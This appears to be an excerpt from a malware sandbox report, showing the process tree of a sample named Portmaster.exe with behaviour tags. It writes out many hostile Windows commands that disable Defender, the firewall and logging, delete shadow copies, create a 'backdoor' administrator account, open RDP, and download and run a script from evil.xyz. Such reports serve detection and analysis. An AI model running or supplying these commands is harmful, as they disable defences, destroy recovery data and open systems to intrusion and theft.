    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:6604
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:5444
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:2968
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6748
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:4260
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:1276
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:8568
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:2956
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:5960
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:7728
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:556
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    PID:2336
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
      4⤵
      PID:4480
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:2940
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
      4⤵
      PID:9452
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
        5⤵
        
        PID:8104
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
      4⤵
      PID:9072
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:9728
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:5672
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:6764
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:7352
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Writes to the Master Boot Record (MBR)
      System Location Discovery: System Language Discovery
      PID:9540
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        
        PID:10536
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:1040
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:8048
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:4220
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:8448
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2336 -s 664
      4⤵
      Program crash
      PID:11184
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:8116
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:8568
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:5904
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Drops file in System32 directory
      PID:8292
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
        5⤵
        
        PID:6788
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
        5⤵
        
        PID:9488
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
        5⤵
        
        PID:9296
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:8448
    - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        5⤵
        Writes to the Master Boot Record (MBR)
        
        PID:5960
      - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        6⤵
        Writes to the Master Boot Record (MBR)
        
        PID:10636
      - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        6⤵
        Drops startup file
        
        PID:10684
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        7⤵
        
        PID:11220
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5560
      - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        6⤵
        
        PID:10692
      - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        6⤵
        
        PID:10704
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5960 -s 624
        6⤵
        Program crash
        
        PID:11160
    - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        5⤵
        Writes to the Master Boot Record (MBR)
        
        PID:2484
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:10612
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
        6⤵
        
        PID:11096
    - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        5⤵
        Drops startup file
        
        PID:4484
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        6⤵
        
        PID:10444
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:8896
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:11080
    - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        5⤵
        Writes to the Master Boot Record (MBR)
        
        PID:9664
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        6⤵
        
        PID:10420
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:9960
    - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        5⤵
        Drops startup file
        
        PID:9676
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        6⤵
        
        PID:10404
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:11124
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:8128
    - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        5⤵
        Drops startup file
        Writes to the Master Boot Record (MBR)
        
        PID:9388
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        6⤵
        
        PID:10392
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:11048
    - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        5⤵
        Drops startup file
        
        PID:8476
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        6⤵
        
        PID:10376
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:10896
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        6⤵
        
        PID:3044
    - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        5⤵
        
        PID:2900
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        6⤵
        
        PID:10588
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        6⤵
        
        PID:11016
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:10012
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c start https://evil.xyz
        5⤵
        
        PID:1768
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
        5⤵
        
        PID:9492
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:10088
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8292 -s 616
        5⤵
        Program crash
        
        PID:10572
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 8568 -s 440
      4⤵
      Program crash
      PID:840
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Writes to the Master Boot Record (MBR)
  PID:5720
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:5656
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4384
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:5644
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:6212
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:6716
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:7100
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:2752
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6068
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7504
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:5476
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:9004
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:8236
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:7688
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:7496
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:7268
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in Windows directory
      PID:8944
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    - System Location Discovery: System Language Discovery
    PID:8100
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:9212
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:4436
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:3312
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:6532
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6044
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:4716
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:9008
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      Launches sc.exe
      PID:8688
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:8816
  - - C:\Windows\SysWOW64\net.exe
      net user backdoor P@ssw0rd123! /add
      4⤵
      PID:9128
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
        5⤵
        
        PID:1680
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
    3⤵
    PID:7196
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators backdoor /add
      4⤵
      PID:7756
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators backdoor /add
        5⤵
        
        PID:8416
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:8040
  - - C:\Windows\SysWOW64\net.exe
      net localgroup "Remote Desktop Users" backdoor /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:8228
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add
        5⤵
        
        PID:7964
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    3⤵
    PID:7508
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
    3⤵
    PID:5456
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:7520
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:60
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 60 -s 604
      4⤵
      Program crash
      PID:8844
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:6040
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Writes to the Master Boot Record (MBR)
    PID:7620
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Drops startup file
      PID:2696
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        
        PID:8012
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9796
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:8748
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:7372
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Drops startup file
      Writes to the Master Boot Record (MBR)
      PID:9368
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        
        PID:7800
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10224
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:9824
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:4848
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Drops startup file
      Writes to the Master Boot Record (MBR)
      PID:7488
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        
        PID:2364
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9320
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:3696
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:10376
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:10544
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 7620 -s 484
      4⤵
      Program crash
      PID:6044
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:9068
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Drops startup file
      Writes to the Master Boot Record (MBR)
      PID:10236
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4456
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2332
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:9484
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
        5⤵
        
        PID:10656
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 9068 -s 456
      4⤵
      Program crash
      PID:7356
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:5280
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5280 -s 464
      4⤵
      Program crash
      PID:7220
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Writes to the Master Boot Record (MBR)
    PID:3308
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Writes to the Master Boot Record (MBR)
    - Drops file in System32 directory
    PID:7324
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:7652
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Writes to the Master Boot Record (MBR)
      PID:7096
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6928
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:7892
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:3912
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:10776
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  PID:1684
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:5244
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4508
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:4640
  - - C:\Windows\SysWOW64\reg.exe
